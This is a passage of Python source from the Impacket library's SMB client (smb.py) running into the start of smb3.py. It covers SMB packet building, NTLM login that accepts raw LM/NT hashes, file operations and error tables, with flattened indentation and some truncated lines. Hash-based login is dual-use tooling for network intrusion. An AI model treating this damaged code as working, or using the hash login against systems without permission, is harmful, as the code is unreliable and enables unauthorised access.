transCommand['Parameters']['ParameterOffset'] = 32+3+28+len(setup)+len(name)
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param)
transCommand['Data']['Name'] = name
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data
if noAnswer:
transCommand['Parameters']['Flags'] = TRANS_NO_RESPONSE
smb.addCommand(transCommand)
self.sendSMB(smb)
def send_trans2(self, tid, setup, name, param, data):
smb = NewSMBPacket()
smb['Tid'] = tid
command = pack(' 0:
padLen = (4 - (32+2+28 + len(command)) % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = 32+2+28+len(command)+len(name) + padLen
if len(data) > 0:
pad2Len = (4 - (32+2+28 + len(command) + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Name'] = name
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data
smb.addCommand(transCommand)
self.sendSMB(smb)
def query_file_info(self, tid, fid, fileInfoClass = SMB_QUERY_FILE_STANDARD_INFO):
self.send_trans2(tid, SMB.TRANS2_QUERY_FILE_INFORMATION, '\x00', pack(' 0:
av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
try:
self.__server_name = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
except:
# For some reason, we couldn't decode Unicode here.. silently discard the operation
pass
if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:
try:
if self.__server_name != av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'):
self.__server_domain = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')
except:
# For some reason, we couldn't decode Unicode here.. silently discard the operation
pass
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
try:
self.__server_dns_domain_name = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')
except:
# For some reason, we couldn't decode Unicode here.. silently discard the operation
pass
# Parse Version to know the target Operating system name. Not provided elsewhere anymore
if ntlmChallenge.fields.has_key('Version'):
version = ntlmChallenge['Version']
if len(version) >= 4:
self.__server_os_major, self.__server_os_minor, self.__server_os_build = unpack(' 0:
if lmhash != '' or nthash != '':
pwd_ansi = self.get_ntlmv1_response(lmhash)
pwd_unicode = self.get_ntlmv1_response(nthash)
elif password:
lmhash = ntlm.compute_lmhash(password)
nthash = ntlm.compute_nthash(password)
pwd_ansi = self.get_ntlmv1_response(lmhash)
pwd_unicode = self.get_ntlmv1_response(nthash)
else: # NULL SESSION
pwd_ansi = ''
pwd_unicode = ''
else:
pwd_ansi = password
pwd_unicode = ''
smb = NewSMBPacket()
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Data()
sessionSetup['Parameters']['MaxBuffer'] = 61440
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey']
sessionSetup['Parameters']['AnsiPwdLength'] = len(pwd_ansi)
sessionSetup['Parameters']['UnicodePwdLength'] = len(pwd_unicode)
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE | SMB.CAP_USE_NT_ERRORS | SMB.CAP_LARGE_READX | SMB.CAP_LARGE_WRITEX
sessionSetup['Data']['AnsiPwd'] = pwd_ansi
sessionSetup['Data']['UnicodePwd'] = pwd_unicode
sessionSetup['Data']['Account'] = str(user)
sessionSetup['Data']['PrimaryDomain'] = str(domain)
sessionSetup['Data']['NativeOS'] = str(os.name)
sessionSetup['Data']['NativeLanMan'] = 'pysmb'
smb.addCommand(sessionSetup)
self.sendSMB(smb)
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):
# We will need to use this uid field for all future requests/responses
self._uid = smb['Uid']
sessionResponse = SMBCommand(smb['Data'][0])
sessionParameters = SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters'])
sessionData = SMBSessionSetupAndXResponse_Data(flags = smb['Flags2'], data = sessionResponse['Data'])
self._action = sessionParameters['Action']
# Still gotta figure out how to do this with no EXTENDED_SECURITY
if sessionParameters['Action'] & SMB_SETUP_USE_LANMAN_KEY == 0:
self._SigningChallengeResponse = sessionSetup['Data']['UnicodePwd']
self._SigningSessionKey = nthash
else:
self._SigningChallengeResponse = sessionSetup['Data']['AnsiPwd']
self._SigningSessionKey = lmhash
#self._SignSequenceNumber = 1
#self.checkSignSMB(smb, self._SigningSessionKey ,self._SigningChallengeResponse)
#self._SignatureEnabled = True
self.__server_os = sessionData['NativeOS']
self.__server_lanman = sessionData['NativeLanMan']
self.__server_domain = sessionData['PrimaryDomain']
# restore unicode flag if needed
if flags2 & SMB.FLAGS2_UNICODE:
self.__flags2 |= SMB.FLAGS2_UNICODE
return 1
else: raise Exception('Error: Could not login successfully')
def waitNamedPipe(self, tid, pipe, timeout = 5, noAnswer = 0):
smb = NewSMBPacket()
smb['Tid'] = tid
transCommand = SMBCommand(SMB.SMB_COM_TRANSACTION)
transCommand['Parameters'] = SMBTransaction_Parameters()
transCommand['Data'] = SMBTransaction_Data()
setup = '\x53\x00\x00\x00'
name = '\\PIPE%s\x00' % pipe
transCommand['Parameters']['Setup'] = setup
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = 0
transCommand['Parameters']['MaxParameterCount'] = 0
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Parameters']['Timeout'] = timeout * 1000
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 32+3+28+len(setup)+len(name)
transCommand['Parameters']['DataCount'] = 0
transCommand['Parameters']['DataOffset'] = 0
transCommand['Data']['Name'] = name
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = ''
if noAnswer:
transCommand['Parameters']['Flags'] = TRANS_NO_RESPONSE
smb.addCommand(transCommand)
self.sendSMB(smb)
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_TRANSACTION):
return 1
return 0
def read(self, tid, fid, offset=0, max_size = None, wait_answer=1):
if not max_size:
max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks
# max_size is not working, because although it would, the server returns an error (More data avail)
smb = NewSMBPacket()
smb['Tid'] = tid
read = SMBCommand(SMB.SMB_COM_READ)
read['Parameters'] = SMBRead_Parameters()
read['Parameters']['Fid'] = fid
read['Parameters']['Offset'] = offset
read['Parameters']['Count'] = max_size
smb.addCommand(read)
if wait_answer:
while 1:
self.sendSMB(smb)
ans = self.recvSMB()
if ans.isValidAnswer(SMB.SMB_COM_READ):
readResponse = SMBCommand(ans['Data'][0])
readData = SMBReadResponse_Data(readResponse['Data'])
return readData['Data']
return None
def read_andx(self, tid, fid, offset=0, max_size = None, wait_answer=1, smb_packet=None):
if not max_size:
if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_READX) and self._SignatureEnabled is False:
max_size = 65000
else:
max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks
# max_size is not working, because although it would, the server returns an error (More data avail)
if smb_packet is None:
smb = NewSMBPacket()
smb['Tid'] = tid
readAndX = SMBCommand(SMB.SMB_COM_READ_ANDX)
readAndX['Parameters'] = SMBReadAndX_Parameters()
readAndX['Parameters']['Fid'] = fid
readAndX['Parameters']['Offset'] = offset
readAndX['Parameters']['MaxCount'] = max_size
smb.addCommand(readAndX)
else:
smb = smb_packet
if wait_answer:
answer = ''
while 1:
self.sendSMB(smb)
ans = self.recvSMB()
if ans.isValidAnswer(SMB.SMB_COM_READ_ANDX):
# XXX Here we are only using a few fields from the response
readAndXResponse = SMBCommand(ans['Data'][0])
readAndXParameters = SMBReadAndXResponse_Parameters(readAndXResponse['Parameters'])
offset = readAndXParameters['DataOffset']
count = readAndXParameters['DataCount']+0x10000*readAndXParameters['DataCount_Hi']
answer += str(ans)[offset:offset+count]
if not ans.isMoreData():
return answer
max_size = min(max_size, readAndXParameters['Remaining'])
readAndX['Parameters']['Offset'] += count # XXX Offset is not important (apparently)
else:
self.sendSMB(smb)
ans = self.recvSMB()
try:
if ans.isValidAnswer(SMB.SMB_COM_READ_ANDX):
return ans
else:
return None
except:
return ans
return None
def read_raw(self, tid, fid, offset=0, max_size = None, wait_answer=1):
if not max_size:
max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks
# max_size is not working, because although it would, the server returns an error (More data avail)
smb = NewSMBPacket()
smb['Tid'] = tid
readRaw = SMBCommand(SMB.SMB_COM_READ_RAW)
readRaw['Parameters'] = SMBReadRaw_Parameters()
readRaw['Parameters']['Fid'] = fid
readRaw['Parameters']['Offset'] = offset
readRaw['Parameters']['MaxCount'] = max_size
smb.addCommand(readRaw)
self.sendSMB(smb)
if wait_answer:
data = self._sess.recv_packet(self.__timeout).get_trailer()
if not data:
# If there is no data it means there was an error
data = self.read_andx(tid, fid, offset, max_size)
return data
return None
def write(self,tid,fid,data, offset = 0, wait_answer=1):
smb = NewSMBPacket()
smb['Tid'] = tid
write = SMBCommand(SMB.SMB_COM_WRITE)
write['Parameters'] = SMBWrite_Parameters()
write['Data'] = SMBWrite_Data()
write['Parameters']['Fid'] = fid
write['Parameters']['Count'] = len(data)
write['Parameters']['Offset'] = offset
write['Parameters']['Remaining'] = len(data)
write['Data']['Data'] = data
smb.addCommand(write)
self.sendSMB(smb)
if wait_answer:
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_WRITE):
return smb
return None
def write_andx(self,tid,fid,data, offset = 0, wait_answer=1, write_pipe_mode = False, smb_packet=None):
if smb_packet is None:
smb = NewSMBPacket()
smb['Tid'] = tid
writeAndX = SMBCommand(SMB.SMB_COM_WRITE_ANDX)
smb.addCommand(writeAndX)
writeAndX['Parameters'] = SMBWriteAndX_Parameters()
writeAndX['Parameters']['Fid'] = fid
writeAndX['Parameters']['Offset'] = offset
writeAndX['Parameters']['WriteMode'] = 8
writeAndX['Parameters']['Remaining'] = len(data)
writeAndX['Parameters']['DataLength'] = len(data)
writeAndX['Parameters']['DataOffset'] = len(smb) # this length already includes the parameter
writeAndX['Data'] = data
if write_pipe_mode is True:
# First of all we gotta know what the MaxBuffSize is
maxBuffSize = self._dialects_parameters['MaxBufferSize']
if len(data) > maxBuffSize:
chunks_size = maxBuffSize - 60
writeAndX['Parameters']['WriteMode'] = 0x0c
sendData = '\xff\xff' + data
totalLen = len(sendData)
writeAndX['Parameters']['DataLength'] = chunks_size
writeAndX['Parameters']['Remaining'] = totalLen-2
writeAndX['Data'] = sendData[:chunks_size]
self.sendSMB(smb)
if wait_answer:
smbResp = self.recvSMB()
smbResp.isValidAnswer(SMB.SMB_COM_WRITE_ANDX)
alreadySent = chunks_size
sendData = sendData[chunks_size:]
while alreadySent < totalLen:
writeAndX['Parameters']['WriteMode'] = 0x04
writeAndX['Parameters']['DataLength'] = len(sendData[:chunks_size])
writeAndX['Data'] = sendData[:chunks_size]
self.sendSMB(smb)
if wait_answer:
smbResp = self.recvSMB()
smbResp.isValidAnswer(SMB.SMB_COM_WRITE_ANDX)
alreadySent += writeAndX['Parameters']['DataLength']
sendData = sendData[chunks_size:]
return smbResp
else:
smb = smb_packet
self.sendSMB(smb)
if wait_answer:
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_WRITE_ANDX):
return smb
return None
def write_raw(self,tid,fid,data, offset = 0, wait_answer=1):
LOG.warning("[MS-CIFS] This command was introduced in the CorePlus dialect, but is often listed as part of the LAN Manager 1.0 dialect.This command has been deprecated.Clients SHOULD use SMB_COM_WRITE_ANDX")
smb = NewSMBPacket()
smb['Tid'] = tid
writeRaw = SMBCommand(SMB.SMB_COM_WRITE_RAW)
writeRaw['Parameters'] = SMBWriteRaw_Parameters()
writeRaw['Parameters']['Fid'] = fid
writeRaw['Parameters']['Offset'] = offset
writeRaw['Parameters']['Count'] = len(data)
writeRaw['Parameters']['DataLength'] = 0
writeRaw['Parameters']['DataOffset'] = 0
smb.addCommand(writeRaw)
self.sendSMB(smb)
self._sess.send_packet(data)
if wait_answer:
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_WRITE_RAW):
return smb
return None
def TransactNamedPipe(self, tid, fid, data = '', noAnswer = 0, waitAnswer = 1, offset = 0):
self.send_trans(tid,pack(' 0 and len(findData[record['NextEntryOffset']:]) > 0:
findData = findData[record['NextEntryOffset']:]
else:
# More data to search?
if findParameterBlock['EndOfSearch'] == 0:
resume_filename = record['FileName']
findNextParameter = SMBFindNext2_Parameters()
findNextParameter['SID'] = sid
findNextParameter['SearchCount'] = 1024
findNextParameter['InformationLevel'] = SMB_FIND_FILE_BOTH_DIRECTORY_INFO
findNextParameter['ResumeKey'] = 0
findNextParameter['Flags'] = SMB_FIND_RETURN_RESUME_KEYS | SMB_FIND_CLOSE_AT_EOS
findNextParameter['FileName'] = resume_filename + ('\x00\x00' if self.__flags2 & SMB.FLAGS2_UNICODE else '\x00')
self.send_trans2(tid, SMB.TRANS2_FIND_NEXT2, '\x00', findNextParameter, '')
findData = ''
findNext2ParameterBlock = ''
totalDataCount = 1
while len(findData) < totalDataCount:
resp = self.recvSMB()
if resp.isValidAnswer(SMB.SMB_COM_TRANSACTION2):
trans2Response = SMBCommand(resp['Data'][0])
trans2Parameters = SMBTransaction2Response_Parameters(trans2Response['Parameters'])
totalDataCount = trans2Parameters['TotalDataCount']
findNext2ParameterBlock += trans2Response['Data'][trans2Parameters['ParameterOffset']-55:][:trans2Parameters['ParameterCount']]
findData += trans2Response['Data'][trans2Parameters['DataOffset']-55:]
findParameterBlock = SMBFindNext2Response_Parameters(findNext2ParameterBlock)
else:
break
finally:
self.disconnect_tree(tid)
return files
def retr_file(self, service, filename, callback, mode = FILE_OPEN, offset = 0, password = None, shareAccessMode = SMB_ACCESS_READ):
filename = string.replace(filename, '/', '\\')
fid = -1
tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
try:
fid = self.nt_create_andx(tid, filename, shareAccessMode = shareAccessMode, accessMask = 0x20089)
res = self.query_file_info(tid, fid)
datasize = SMBQueryFileStandardInfo(res)['EndOfFile']
self.__nonraw_retr_file(tid, fid, offset, datasize, callback)
finally:
if fid >= 0:
self.close(tid, fid)
self.disconnect_tree(tid)
def stor_file(self, service, filename, callback, mode = FILE_OVERWRITE_IF, offset = 0, password = None, shareAccessMode = SMB_ACCESS_WRITE):
filename = string.replace(filename, '/', '\\')
fid = -1
tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
try:
fid = self.nt_create_andx(tid, filename, shareAccessMode = shareAccessMode, disposition = mode )
self.__nonraw_stor_file(tid, fid, offset, 0, callback)
finally:
if fid >= 0:
self.close(tid, fid)
self.disconnect_tree(tid)
def stor_file_nonraw(self, service, filename, callback, mode = FILE_OVERWRITE_IF, offset = 0, password = None, shareAccessMode = SMB_ACCESS_WRITE ):
filename = string.replace(filename, '/', '\\')
fid = -1
tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
try:
fid = self.nt_create_andx(tid, filename, shareAccessMode = shareAccessMode, disposition = mode)
self.__nonraw_stor_file(tid, fid, offset, 0, callback)
finally:
if fid >= 0:
self.close(tid, fid)
self.disconnect_tree(tid)
def check_dir(self, service, path, password = None):
path = string.replace(path,'/', '\\')
tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
try:
smb = NewSMBPacket()
smb['Tid'] = tid
smb['Mid'] = 0
cmd = SMBCommand(SMB.SMB_COM_CHECK_DIRECTORY)
cmd['Parameters'] = ''
cmd['Data'] = SMBCheckDirectory_Data(flags = self.__flags2)
cmd['Data']['DirectoryName'] = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path
smb.addCommand(cmd)
self.sendSMB(smb)
while 1:
s = self.recvSMB()
if s.isValidAnswer(SMB.SMB_COM_CHECK_DIRECTORY):
return
finally:
self.disconnect_tree(tid)
def remove(self, service, path, password = None):
path = string.replace(path,'/', '\\')
# Perform a list to ensure the path exists
self.list_path(service, path, password)
tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
try:
smb = NewSMBPacket()
smb['Tid'] = tid
smb['Mid'] = 0
cmd = SMBCommand(SMB.SMB_COM_DELETE)
cmd['Parameters'] = SMBDelete_Parameters()
cmd['Parameters']['SearchAttributes'] = ATTR_HIDDEN | ATTR_SYSTEM | ATTR_ARCHIVE
cmd['Data'] = SMBDelete_Data(flags = self.__flags2)
cmd['Data']['FileName'] = (path + '\x00').encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else (path + '\x00')
smb.addCommand(cmd)
self.sendSMB(smb)
while 1:
s = self.recvSMB()
if s.isValidAnswer(SMB.SMB_COM_DELETE):
return
finally:
self.disconnect_tree(tid)
def rmdir(self, service, path, password = None):
path = string.replace(path,'/', '\\')
# Check that the directory exists
self.check_dir(service, path, password)
tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
try:
path = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path
smb = NewSMBPacket()
smb['Tid'] = tid
createDir = SMBCommand(SMB.SMB_COM_DELETE_DIRECTORY)
createDir['Data'] = SMBDeleteDirectory_Data(flags=self.__flags2)
createDir['Data']['DirectoryName'] = path
smb.addCommand(createDir)
self.sendSMB(smb)
while 1:
s = self.recvSMB()
if s.isValidAnswer(SMB.SMB_COM_DELETE_DIRECTORY):
return
finally:
self.disconnect_tree(tid)
def mkdir(self, service, path, password = None):
path = string.replace(path,'/', '\\')
tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
try:
path = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path
smb = NewSMBPacket()
smb['Tid'] = tid
smb['Mid'] = 0
createDir = SMBCommand(SMB.SMB_COM_CREATE_DIRECTORY)
createDir['Data'] = SMBCreateDirectory_Data(flags=self.__flags2)
createDir['Data']['DirectoryName'] = path
smb.addCommand(createDir)
self.sendSMB(smb)
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_CREATE_DIRECTORY):
return 1
return 0
finally:
self.disconnect_tree(tid)
def rename(self, service, old_path, new_path, password = None):
old_path = string.replace(old_path,'/', '\\')
new_path = string.replace(new_path,'/', '\\')
tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
try:
smb = NewSMBPacket()
smb['Tid'] = tid
smb['Mid'] = 0
renameCmd = SMBCommand(SMB.SMB_COM_RENAME)
renameCmd['Parameters'] = SMBRename_Parameters()
renameCmd['Parameters']['SearchAttributes'] = ATTR_SYSTEM | ATTR_HIDDEN | ATTR_DIRECTORY
renameCmd['Data'] = SMBRename_Data(flags = self.__flags2)
renameCmd['Data']['OldFileName'] = old_path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else old_path
renameCmd['Data']['NewFileName'] = new_path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else new_path
smb.addCommand(renameCmd)
self.sendSMB(smb)
smb = self.recvSMB()
if smb.isValidAnswer(SMB.SMB_COM_RENAME):
return 1
return 0
finally:
self.disconnect_tree(tid)
def writeFile(self, treeId, fileId, data, offset = 0):
if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_WRITEX) and self._SignatureEnabled is False:
max_buf_size = 65000
else:
max_buf_size = self._dialects_parameters['MaxBufferSize'] & ~0x3ff # Write in multiple KB blocks
write_offset = offset
while 1:
if len(data) == 0:
break
writeData = data[:max_buf_size]
data = data[max_buf_size:]
smb = self.write_andx(treeId,fileId,writeData, write_offset)
writeResponse = SMBCommand(smb['Data'][0])
writeResponseParameters = SMBWriteAndXResponse_Parameters(writeResponse['Parameters'])
write_offset += writeResponseParameters['Count']
def get_socket(self):
return self._sess.get_socket()
ERRDOS = { 1: 'Invalid function',
2: 'File not found',
3: 'Invalid directory',
4: 'Too many open files',
5: 'Access denied',
6: 'Invalid file handle. Please file a bug report.',
7: 'Memory control blocks destroyed',
8: 'Out of memory',
9: 'Invalid memory block address',
10: 'Invalid environment',
11: 'Invalid format',
12: 'Invalid open mode',
13: 'Invalid data',
15: 'Invalid drive',
16: 'Attempt to remove server\'s current directory',
17: 'Not the same device',
18: 'No files found',
32: 'Sharing mode conflicts detected',
33: 'Lock request conflicts detected',
80: 'File already exists'
}
ERRSRV = { 1: 'Non-specific error',
2: 'Bad password',
4: 'Access denied',
5: 'Invalid tid. Please file a bug report.',
6: 'Invalid network name',
7: 'Invalid device',
49: 'Print queue full',
50: 'Print queue full',
51: 'EOF on print queue dump',
52: 'Invalid print file handle',
64: 'Command not recognized. Please file a bug report.',
65: 'Internal server error',
67: 'Invalid path',
69: 'Invalid access permissions',
71: 'Invalid attribute mode',
81: 'Server is paused',
82: 'Not receiving messages',
83: 'No room to buffer messages',
87: 'Too many remote user names',
88: 'Operation timeout',
89: 'Out of resources',
91: 'Invalid user handle. Please file a bug report.',
250: 'Temporarily unable to support raw mode for transfer',
251: 'Temporarily unable to support raw mode for transfer',
252: 'Continue in MPX mode',
65535: 'Unsupported function'
}
ERRHRD = { 19: 'Media is write-protected',
20: 'Unknown unit',
21: 'Drive not ready',
22: 'Unknown command',
23: 'CRC error',
24: 'Bad request',
25: 'Seek error',
26: 'Unknown media type',
27: 'Sector not found',
28: 'Printer out of paper',
29: 'Write fault',
30: 'Read fault',
31: 'General failure',
32: 'Open conflicts with an existing open',
33: 'Invalid lock request',
34: 'Wrong disk in drive',
35: 'FCBs not available',
36: 'Sharing buffer exceeded'
}
impacket-0.9.15/impacket/smb3.py 0000600 0000765 0000000 00000213573 12734531507 016477 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-SMB2] Protocol Implementation (SMB2 and SMB3)
# As you might see in the code, it's implemented strictly following
# the structures defined in the protocol specification. This may
# not be the most efficient way (e.g. self._Connection is the
# same to self._Session in the context of this library ) but
# it certainly helps following the document way easier.
#
# ToDo:
# [X] Implement SMB2_CHANGE_NOTIFY
# [X] Implement SMB2_QUERY_INFO
# [X] Implement SMB2_SET_INFO
# [ ] Implement SMB2_OPLOCK_BREAK
# [X] Implement SMB3 signing
# [ ] Implement SMB3 encryption
# [ ] Add more backward compatible commands from the smb.py code
# [ ] Fix up all the 'ToDo' comments inside the code
#
import socket
import ntpath
import random
import string
import struct
from binascii import a2b_hex
from contextlib import contextmanager
from impacket import nmb, ntlm, uuid, crypto, LOG
from impacket.smb3structs import *
from impacket.nt_errors import STATUS_SUCCESS, STATUS_MORE_PROCESSING_REQUIRED, STATUS_INVALID_PARAMETER, \
STATUS_NO_MORE_FILES, STATUS_PENDING, STATUS_NOT_IMPLEMENTED, ERROR_MESSAGES
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp
# For signing
import hashlib, hmac, copy
# Structs to be used
TREE_CONNECT = {
'ShareName' : '',
'TreeConnectId' : 0,
'Session' : 0,
'IsDfsShare' : False,
# If the client implements the SMB 3.0 dialect,
# the client MUST also implement the following
'IsCAShare' : False,
'EncryptData' : False,
'IsScaleoutShare' : False,
# Outside the protocol
'NumberOfUses' : 0,
}
FILE = {
'OpenTable' : [],
'LeaseKey' : '',
'LeaseState' : 0,
'LeaseEpoch' : 0,
}
OPEN = {
'FileID' : '',
'TreeConnect' : 0,
'Connection' : 0, # Not Used
'Oplocklevel' : 0,
'Durable' : False,
'FileName' : '',
'ResilientHandle' : False,
'LastDisconnectTime' : 0,
'ResilientTimeout' : 0,
'OperationBuckets' : [],
# If the client implements the SMB 3.0 dialect,
# the client MUST implement the following
'CreateGuid' : '',
'IsPersistent' : False,
'DesiredAccess' : '',
'ShareMode' : 0,
'CreateOption' : '',
'FileAttributes' : '',
'CreateDisposition' : '',
}
REQUEST = {
'CancelID' : '',
'Message' : '',
'Timestamp' : 0,
}
CHANNEL = {
'SigningKey' : '',
'Connection' : 0,
}
class SessionError(Exception):
def __init__( self, error = 0, packet=0):
Exception.__init__(self)
self.error = error
self.packet = packet
def get_error_code( self ):
return self.error
def get_error_packet( self ):
return self.packet
def __str__( self ):
return 'SMB SessionError: %s(%s)' % (ERROR_MESSAGES[self.error])
class SMB3:
def __init__(self, remote_name, remote_host, my_name = None, host_type = nmb.TYPE_SERVER, sess_port = 445, timeout=60, UDP = 0, preferredDialect = None, session = None):
# [MS-SMB2] Section 3
self.RequireMessageSigning = False #
self.ConnectionTable = {}
self.GlobalFileTable = {}
self.ClientGuid = ''.join([random.choice(string.letters) for i in range(16)])
# Only for SMB 3.0
self.EncryptionAlgorithmList = ['AES-CCM']
self.MaxDialect = []
self.RequireSecureNegotiate = False
# Per Transport Connection Data
self._Connection = {
# Indexed by SessionID
#'SessionTable' : {},
# Indexed by MessageID
'OutstandingRequests' : {},
'OutstandingResponses' : {}, #
'SequenceWindow' : 0, #
'GSSNegotiateToken' : '', #
'MaxTransactSize' : 0, #
'MaxReadSize' : 0, #
'MaxWriteSize' : 0, #
'ServerGuid' : '', #
'RequireSigning' : False, #
'ServerName' : '', #
# If the client implements the SMB 2.1 or SMB 3.0 dialects, it MUST
# also implement the following
'Dialect' : '', #
'SupportsFileLeasing' : False, #
'SupportsMultiCredit' : False, #
# If the client implements the SMB 3.0 dialect,
# it MUST also implement the following
'SupportsDirectoryLeasing' : False, #
'SupportsMultiChannel' : False, #
'SupportsPersistentHandles': False, #
'SupportsEncryption' : False, #
'ClientCapabilities' : 0,
'ServerCapabilities' : 0, #
'ClientSecurityMode' : 0, #
'ServerSecurityMode' : 0, #
# Outside the protocol
'ServerIP' : '', #
}
self._Session = {
'SessionID' : 0, #
'TreeConnectTable' : {}, #
'SessionKey' : '', #
'SigningRequired' : False, #
'Connection' : 0, #
'UserCredentials' : '', #
'OpenTable' : {}, #
# If the client implements the SMB 3.0 dialect,
# it MUST also implement the following
'ChannelList' : [],
'ChannelSequence' : 0,
#'EncryptData' : False,
'EncryptData' : True,
'EncryptionKey' : '',
'DecryptionKey' : '',
'SigningKey' : '',
'ApplicationKey' : '',
# Outside the protocol
'SessionFlags' : 0, #
'ServerName' : '', #
'ServerDomain' : '', #
'ServerDNSDomainName' : '', #
'ServerOS' : '', #
'SigningActivated' : False, #
}
self.SMB_PACKET = SMB2Packet
self._timeout = timeout
self._Connection['ServerIP'] = remote_host
self._NetBIOSSession = None
self.__userName = ''
self.__password = ''
self.__domain = ''
self.__lmhash = ''
self.__nthash = ''
self.__kdc = ''
self.__aesKey = ''
self.__TGT = None
self.__TGS = None
if sess_port == 445 and remote_name == '*SMBSERVER':
self._Connection['ServerName'] = remote_host
else:
self._Connection['ServerName'] = remote_name
if session is None:
if not my_name:
my_name = socket.gethostname()
i = string.find(my_name, '.')
if i > -1:
my_name = my_name[:i]
if UDP:
self._NetBIOSSession = nmb.NetBIOSUDPSession(my_name, self._Connection['ServerName'], remote_host, host_type, sess_port, self._timeout)
else:
self._NetBIOSSession = nmb.NetBIOSTCPSession(my_name, self._Connection['ServerName'], remote_host, host_type, sess_port, self._timeout)
self.negotiateSession(preferredDialect)
else:
self._NetBIOSSession = session
# We should increase the SequenceWindow since a packet was already received.
self._Connection['SequenceWindow'] += 1
# Let's negotiate again using the same connection
self.negotiateSession(preferredDialect)
def printStatus(self):
print "CONNECTION"
for i in self._Connection.items():
print "%-40s : %s" % i
print
print "SESSION"
for i in self._Session.items():
print "%-40s : %s" % i
def getServerName(self):
return self._Session['ServerName']
def getServerIP(self):
return self._Connection['ServerIP']
def getServerDomain(self):
return self._Session['ServerDomain']
def getServerDNSDomainName(self):
return self._Session['ServerDNSDomainName']
def getServerOS(self):
return self._Session['ServerOS']
def getServerOSMajor(self):
return self._Session['ServerOSMajor']
def getServerOSMinor(self):
return self._Session['ServerOSMinor']
def getServerOSBuild(self):
return self._Session['ServerOSBuild']
def isGuestSession(self):
return self._Session['SessionFlags'] & SMB2_SESSION_FLAG_IS_GUEST
def setTimeout(self, timeout):
self._timeout = timeout
@contextmanager
def useTimeout(self, timeout):
prev_timeout = self.getTimeout(timeout)
try:
yield
finally:
self.setTimeout(prev_timeout)
def getDialect(self):
return self._Connection['Dialect']
def signSMB(self, packet):
packet['Signature'] = '\x00'*16
if self._Connection['Dialect'] == SMB2_DIALECT_21 or self._Connection['Dialect'] == SMB2_DIALECT_002:
if len(self._Session['SessionKey']) > 0:
signature = hmac.new(self._Session['SessionKey'], str(packet), hashlib.sha256).digest()
packet['Signature'] = signature[:16]
else:
if len(self._Session['SessionKey']) > 0:
p = str(packet)
signature = crypto.AES_CMAC(self._Session['SigningKey'], p, len(p))
packet['Signature'] = signature
def sendSMB(self, packet):
# The idea here is to receive multiple/single commands and create a compound request, and send it
# Should return the MessageID for later retrieval. Implement compounded related requests.
